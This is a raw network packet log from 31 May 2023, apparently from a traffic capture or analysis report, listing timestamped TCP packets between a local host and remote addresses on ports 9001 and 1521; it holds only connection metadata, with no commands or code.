May 31, 2023 12:23:14.932604074 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.932624102 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.932635069 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.932660103 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.932665110 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.932687044 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.932694912 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.932718992 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.932725906 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.932750940 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.932756901 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.932780027 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.932785988 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.932811975 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.932816982 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.932841063 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.932847023 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.932867050 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.932877064 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.932895899 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.932907104 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.932925940 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.932935953 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.932954073 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.932965994 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.932982922 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.932995081 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.933023930 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.933052063 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.933072090 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.933080912 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.933093071 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.933110952 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.933140039 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.933154106 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.933181047 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.933208942 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.933227062 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.933238029 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.933269024 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.933296919 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.933316946 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.933326960 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.933357000 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.933382034 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.933387041 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.933407068 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.933418036 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.933448076 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.933478117 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.933501959 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.933507919 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.933521032 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.933537960 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.933564901 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.933594942 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.933613062 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.933623075 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.933641911 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.933651924 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.933681011 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.933710098 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.933727980 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.933738947 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.933758020 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.933768034 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.933796883 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.933825016 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.933850050 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.933855057 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.933871984 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.933885098 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.933922052 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.933939934 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.934452057 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.934482098 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.934510946 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.934540033 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.934541941 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.934566975 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.934571028 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.934598923 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.934628010 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.934650898 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.934657097 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.934670925 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.934686899 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.934715986 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.934741020 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.934745073 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.934775114 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.934803963 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.934827089 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.934834003 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.934856892 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.934863091 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.934892893 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.934911966 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.934916019 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.935435057 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.938884020 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.939289093 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.939311981 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.939376116 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.941951036 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:14.958981037 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.959031105 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.959072113 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.959110975 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.959134102 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.959134102 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.959148884 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.959201097 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.959238052 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.959269047 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.959276915 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.959292889 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.959315062 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.959352970 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.959383011 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.959389925 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.959431887 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.959476948 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.959511995 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.959520102 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.959549904 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.959559917 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.959598064 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.959635019 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.959650040 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.959672928 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.959714890 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.959753990 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.959763050 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.959777117 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.959790945 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.959831953 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.959847927 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.959871054 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.959908009 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.959918976 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.959947109 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.959985971 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.960002899 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.960024118 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.960061073 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.960098982 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.960130930 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.960136890 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.960155964 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.960175037 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.960212946 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.960251093 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.960278034 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.960306883 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.960345984 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.960361958 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.960382938 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.960392952 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.960423946 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.960460901 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.960474968 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.960500002 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.960541010 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.960553885 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.960578918 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.960617065 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.960654974 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.960664034 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.960694075 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.960731983 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.960745096 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.960771084 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.960783005 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.960809946 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.960849047 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.960859060 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.960886955 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.960926056 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.960937023 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.960966110 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.961004019 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.961041927 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.961051941 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.961081028 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.961118937 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.961127043 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.961158037 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.961164951 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.961198092 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.961236000 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.961246014 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.961275101 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.961312056 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.961323023 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.961347103 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.961383104 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.961425066 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.961432934 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.961464882 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.961503029 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.961513042 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.961540937 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.961548090 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.961580038 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.961616993 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.961631060 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.961654902 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.961692095 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.961708069 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.961730003 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.961767912 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.961807013 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.961818933 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.961847067 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.961884975 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.961898088 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.961925983 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.961937904 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.961966038 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.962003946 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.962021112 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.962043047 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.962080956 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.962097883 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.962119102 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.964148998 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:14.967452049 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:14.967515945 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:14.967546940 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:14.967629910 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:14.967643976 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:14.969537020 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:14.986865044 CEST	9001	49726	217.79.179.177	192.168.2.6
May 31, 2023 12:23:14.994661093 CEST	1521	49734	188.138.112.60	192.168.2.6
May 31, 2023 12:23:15.018390894 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:15.034019947 CEST	49726	9001	192.168.2.6	217.79.179.177
May 31, 2023 12:23:15.035821915 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.035911083 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.039117098 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.039203882 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.039244890 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.039258957 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:15.039284945 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.039324045 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.039330959 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:15.039362907 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.039403915 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.039411068 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:15.039449930 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.039494991 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:15.041872025 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.081363916 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:15.086867094 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.086929083 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.087044954 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:15.107673883 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.107734919 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.107784033 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.107834101 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.107880116 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.107929945 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.107980013 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.108033895 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.108046055 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:15.108047009 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:15.108047009 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:15.108083010 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.108102083 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:15.108134031 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.108181000 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.108190060 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:15.109116077 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.109169006 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.109205961 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:15.109230995 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.109280109 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.109286070 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:15.109329939 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.109385014 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:15.149674892 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.149703026 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.149837017 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:15.155359030 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.155433893 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.155487061 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.155540943 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.155592918 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:15.155658960 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:15.176093102 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.176162004 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.176213026 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.176249981 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.176307917 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.176368952 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.176522017 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.176522970 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:15.176594019 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:15.176594973 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.176664114 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.176673889 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:15.176740885 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.176821947 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:15.176826954 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.176896095 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.176964045 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.176966906 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:15.177032948 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.177100897 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.177124023 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:15.177170992 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.177283049 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.177289009 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:15.177360058 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.177427053 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.177437067 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:15.177503109 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.177572966 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.177578926 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:15.177642107 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.177709103 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.177715063 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:15.177778006 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.177845955 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.177846909 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:15.177931070 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.177998066 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:15.177999020 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.178066969 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.178134918 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.178136110 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:15.178208113 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.178277969 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.178280115 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:15.178369045 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.178437948 CEST	49727	9001	192.168.2.6	37.153.1.10
May 31, 2023 12:23:15.220154047 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.220213890 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.220288038 CEST	9001	49727	37.153.1.10	192.168.2.6
May 31, 2023 12:23:15.220303059 CEST	49727	9001	192.168.2.6	37.153.1.10
